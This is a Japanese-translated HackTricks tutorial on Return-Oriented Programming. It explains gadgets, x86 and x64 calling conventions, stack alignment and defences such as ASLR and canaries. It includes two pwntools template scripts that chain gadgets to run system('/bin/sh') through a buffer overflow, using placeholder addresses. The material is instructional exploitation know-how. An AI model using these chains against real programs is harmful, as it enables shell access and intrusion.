ROP - Return Oriented Programing
Reading time: 14 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Return-Oriented Programming (ROP) は、No-Execute (NX) や Data Execution Prevention (DEP) のようなセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。攻撃者は、シェルコードを注入して実行するのではなく、バイナリやロードされたライブラリに既に存在するコードの断片、いわゆる "gadgets" を利用します。各ガジェットは通常 ret
命令で終わり、レジスタ間でデータを移動したり、算術演算を行ったりする小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護を効果的に回避できます。
ROPの動作
- 制御フローのハイジャック: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。
- ガジェットの連鎖: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例:
system("/bin/sh")
)、必要なクリーンアップや追加の操作を処理することが含まれます。 - ペイロードの実行: 脆弱な関数が戻るとき、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
ツール
通常、ガジェットは ROPgadget、ropper または pwntools から直接見つけることができます (ROP)。
x86のROPチェーンの例
x86 (32ビット) 呼び出し規約
- cdecl: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。引数は右から左にスタックにプッシュされます。
- stdcall: cdeclに似ていますが、呼び出し先がスタックをクリーンアップする責任を負います。
ガジェットの発見
まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです:
pop eax; ret
: このガジェットはスタックのトップの値をEAX
レジスタにポップし、その後戻ります。これによりEAX
を制御できます。pop ebx; ret
: 上記と同様ですが、EBX
レジスタ用で、EBX
を制御できるようにします。mov [ebx], eax; ret
:EAX
の値をEBX
が指すメモリ位置に移動し、その後戻ります。これはしばしば write-what-where gadget と呼ばれます。- さらに、
system()
関数のアドレスも利用可能です。
ROPチェーン
pwntools を使用して、次のように ROPチェーンの実行のためにスタックを準備します。system('/bin/sh')
を実行することを目指し、チェーンが次のように始まることに注意してください:
- アライメント目的のための
ret
命令(オプション) system
関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は Ret2lib を参照)system()
からの戻りアドレスのプレースホルダー"/bin/sh"
文字列のアドレス(system関数のパラメータ)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- System V AMD64 ABI コール規約を使用し、Unix系システムでは 最初の6つの整数またはポインタ引数がレジスタ
RDI
,RSI
,RDX
,RCX
,R8
, およびR9
に渡されます。追加の引数はスタックに渡されます。戻り値はRAX
に置かれます。 - Windows x64 コール規約では、最初の4つの整数またはポインタ引数に
RCX
,RDX
,R8
, およびR9
を使用し、追加の引数はスタックに渡されます。戻り値はRAX
に置かれます。 - レジスタ: 64ビットレジスタには
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, およびR8
からR15
までが含まれます。
Finding Gadgets
私たちの目的のために、RDI レジスタを設定することを可能にするガジェットに焦点を当てましょう("/bin/sh" 文字列を system() に引数として渡すため)そしてその後 system() 関数を呼び出します。以下のガジェットを特定したと仮定します:
- pop rdi; ret: スタックのトップ値を RDI にポップし、その後戻ります。system() の引数を設定するために不可欠です。
- ret: シンプルなリターンで、いくつかのシナリオでスタックの整列に役立ちます。
そして、system() 関数のアドレスを知っています。
ROP Chain
以下は、pwntools を使用して system('/bin/sh') を x64 で実行することを目的とした ROP チェーンを設定し実行する例です:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
この例では:
pop rdi; ret
ガジェットを利用してRDI
を"/bin/sh"
のアドレスに設定します。RDI
を設定した後、チェーン内の system() のアドレスに直接ジャンプします。- ターゲット環境が必要とする場合、
ret_gadget
がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために x64 でより一般的です。
スタックアライメント
x86-64 ABI は、call命令 が実行されるときに スタックが16バイトアライメント されることを保証します。LIBC はパフォーマンスを最適化するために、SSE命令(例えば movaps)を使用し、これにはこのアライメントが必要です。スタックが正しくアライメントされていない場合(つまり RSP が16の倍数でない場合)、ROPチェーン での system への呼び出しは失敗します。これを修正するには、ROPチェーンで system を呼び出す前に ret gadget を追加するだけです。
x86とx64の主な違い
tip
x64は最初のいくつかの引数にレジスタを使用するため、 単純な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。x64 アーキテクチャのレジスタの数の増加とアドレス空間の拡大は、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
ARM64のROPチェーンの例
ARM64の基本と呼び出し規約
この情報については、以下のページを確認してください:
ROPに対する保護
- ASLR & PIE:これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。
- スタックカナリア:BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。
- ガジェットの不足:十分なガジェットがない場合、ROPチェーンを生成することは不可能です。
ROPベースの技術
ROPは任意のコードを実行するための技術に過ぎないことに注意してください。ROPに基づいて多くのRet2XXX技術が開発されました:
- Ret2lib:ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は
system('/bin/sh')
のようなもの)。
- Ret2Syscall:ROPを使用して、
execve
などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。
- EBP2Ret & EBPチェイニング:最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されます(ただしEIPも制御する必要があります)。
Stack Pivoting - EBP2Ret - EBP chaining
その他の例と参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64ビット、PIEとnxが有効、カナリアなし、
vsyscall
アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする部分的な上書き - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64、ASLRなし、スタックを実行可能にし、スタック内のシェルコードにジャンプするためのROPガジェット
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。